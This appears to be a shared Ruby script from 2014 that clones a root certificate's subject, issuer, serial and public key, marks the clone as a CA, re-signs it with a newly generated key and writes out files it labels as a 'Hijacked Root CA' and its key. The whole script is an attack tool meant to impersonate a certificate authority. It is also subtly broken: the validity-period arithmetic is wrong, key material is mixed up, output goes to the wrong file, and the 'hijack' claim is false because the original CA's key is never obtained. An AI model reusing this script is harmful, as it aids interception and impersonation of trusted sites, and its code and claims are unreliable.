Created
March 30, 2014 00:22
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require 'rubygems' | |
require 'openssl' | |
require 'digest/md5' | |
key = OpenSSL::PKey::RSA.new(2048) | |
cipher = OpenSSL::Cipher::AES.new(256, :CBC) | |
ctx = OpenSSL::SSL::SSLContext.new | |
raw = File.read "root.cer" | |
cert = OpenSSL::X509::Certificate.new raw | |
cert.not_before = Time.now | |
cert.not_after = Time.now + 365+365+365+365 * 24 * 60 * 60 | |
cert.version = 2 | |
ef = OpenSSL::X509::ExtensionFactory.new | |
ef.issuer_certificate = OpenSSL::X509::Certificate.new raw | |
cert.subject = ef.issuer_certificate.subject | |
ef.subject_certificate = ef.issuer_certificate | |
cert.issuer = ef.issuer_certificate.issuer | |
cert.serial = ef.issuer_certificate.serial | |
ctx.key = ef.issuer_certificate.public_key | |
cert.public_key = ef.issuer_certificate.public_key | |
a = File.open("root"".key", "w") | |
a.syswrite("#{cert.public_key}") | |
a.syswrite("#{key.to_pem}") | |
spoof = OpenSSL::PKey::RSA.new File.read 'root.key' | |
printf "Verifying Keys Work: " | |
puts spoof.private? | |
ctx.cert = ef.issuer_certificate | |
cert.add_extension(ef.create_extension("basicConstraints","CA:true",true)) | |
cert.add_extension(ef.create_extension("keyUsage","keyCertSign, cRLSign", true)) | |
cert.add_extension(ef.create_extension("subjectKeyIdentifier","hash", false)) | |
cert.add_extension(ef.create_extension("authorityKeyIdentifier","keyid:always",false)) | |
puts "\n" | |
puts "\n" | |
puts "\n" | |
skey = cert.sign(spoof, OpenSSL::Digest::SHA256.new) | |
root = ef.issuer_certificate.sign(spoof, OpenSSL::Digest::SHA256.new) | |
filer = File.open("#{cert.serial}"".key", "w") | |
filer.syswrite("#{spoof.to_pem}") | |
file = File.open("spoof"".cer", "w") | |
file.syswrite("#{skey.to_der}") | |
files = File.open("#{cert.serial}"".crt", "w") | |
files.syswrite("#{root.to_pem}") | |
files = File.open("#{cert.serial}"".pem", "w") | |
files.syswrite("#{cert.to_pem}") | |
filed = File.open("#{cert.serial}"".srl", "w") | |
file.syswrite("#{cert.serial}") | |
puts "Hijacked Root CA saved #{cert.serial}.crt" | |
puts "Hijacked Secondary CA saved #{cert.serial}.pem" | |
puts "Hijacked Root CA key saved #{cert.serial}.key" | |
printf "Verifying Keys Intergity: " | |
puts root.verify(key) |
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